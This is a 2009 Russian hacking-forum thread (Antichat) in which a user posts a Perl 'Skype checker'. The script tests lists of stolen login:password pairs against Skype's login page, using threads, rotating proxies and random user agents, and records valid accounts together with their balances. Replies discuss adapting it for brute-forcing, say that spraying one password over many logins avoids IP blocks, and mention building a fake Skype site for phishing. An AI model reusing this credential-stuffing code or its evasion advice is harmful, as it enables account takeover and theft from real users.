Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [PERL] Skype Cheker by Gaus (https://forum.antichat.xyz/showthread.php?t=126598)

Gaus 23.06.2009 16:24

[PERL] Skype Cheker by Gaus
 
Написал недавно, мб кому-то пригодится;)
[ + ] Многопоточность
[ + ] Поддержка прокси
[ + ] Определение баланса валидных аккаунтов
Код:

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###################################
my $threads = 1;                  # Кол-во потоков
my $accs_file = 'data/accs.txt';  # Файл со списком аккаунтов
my $accs_delm = ':';              # Разделитель списка аккаунтов
my $proxy_file = 'data/proxy.txt';# Файл со списком proxy
my $proxy_mode = 'OFF';          # Режим использования proxy(ON/OFF)
my $delay = 0;                    # Задержка
###################################
$| = 1;
system 'title Skype Checker (c) Gaus 2010 icq 648249';
system 'color A';
my @accs : shared = lf($accs_file);
my @proxy : shared = lf($proxy_file);
my $valid : shared = 0;
my $invalid : shared = 0;
my $err : shared = 0;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my $ua = LWP::UserAgent->new(timeout => 35,
                                    cookie_jar => new HTTP::Cookies,
                                    agent => agent());
        my ($login, $pass) = split $accs_delm => shift @accs;
        GET:
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login',
                            ['invite_token' => '',
                            'timezone_field' => '+02|00',
                            'username' => $login,
                            'password' => $pass])->as_string;
        if($answ =~ m,302 Found,i)
        {
            {
                lock $valid;
                ++$valid
            }           
            my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content;
            if($req =~ m,;</span>(.+?)</span>,i)
            {
                $pass .= ';'.$1
            }
            wf('valid_accs.txt', "$login:$pass\n");
            cout("[ + ] Valid account[$login:$pass]    \n")
        }
        elsif($answ =~ m,Ошибка идентификации,i)
        {
            {
                lock $invalid;
                ++$invalid
            }
            wf('invalid_accs.txt', "$login:$pass\n");
            cout("[ - ] Invalid account[$login:$pass]    \n")
        }
        elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i)
        {
            cout("[ ~ ] Error proxy, trying again...    \n");
            goto GET
        }
        else
        {
            {
                lock $err;
                ++$err
            }
            wf('error_accs.txt', "$login:$pass\n");
            cout("[ - ] Error account[$login:$pass]    \n") 
        }
        sleep $delay
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
    $ua->proxy('http' => 'http://'.$ip.':'.$port);
    my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        cout("[ + ] Try proxy[$ip:$port]      \n");
        return 1
    }
    else
    {
        cout("[ - ] Bad proxy[$ip:$port]      \n");
        return 0
    }
}
sub agent
{
    my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];
    return $agents[rand scalar @agents]
}
sub cout
{
    print $_[0];
    print "[Valid: $valid | Invalid: $invalid | Error: $err]\r"
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat
}


Spyder 23.06.2009 20:44

кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб

[n]-c0der 23.06.2009 21:07

Цитата:

Сообщение от Spyder
кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб

Уже написали )), к примеру скайп флудер на пайтоне использующий библиотеку скайповскую.

Grinya11 27.06.2009 23:21

А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как

Grinya11 27.06.2009 23:23

эт скайп серв блочит множество запросов с одного ип?

Gaus 29.06.2009 00:15

Цитата:

Сообщение от Grinya11
эт скайп серв блочит множество запросов с одного ип?

мб,вроде если брутить на один пасс множество логинов, то вроде не блочит.

Grinya11 02.07.2009 00:05

ну да только если так! Вот мучу щас фейк скайпа сайта, всучу комунить

Gaus 02.07.2009 22:23

Цитата:

Сообщение от Grinya11
А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как

Реально, могу сделать, но это никому не нужно

!JaX! 18.11.2009 23:58

Код:

C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>

Что не так?

Gaus 20.11.2009 00:46

Цитата:

Сообщение от !JaX!
Код:

C:\skype brut>cmd
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

C:\skype brut>brut.pl
Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
kype brut\brut.pl line 34.

C:\skype brut>

Что не так?

Упс, я забыл кусок кода вставить:) попробуй заново


Время: 16:53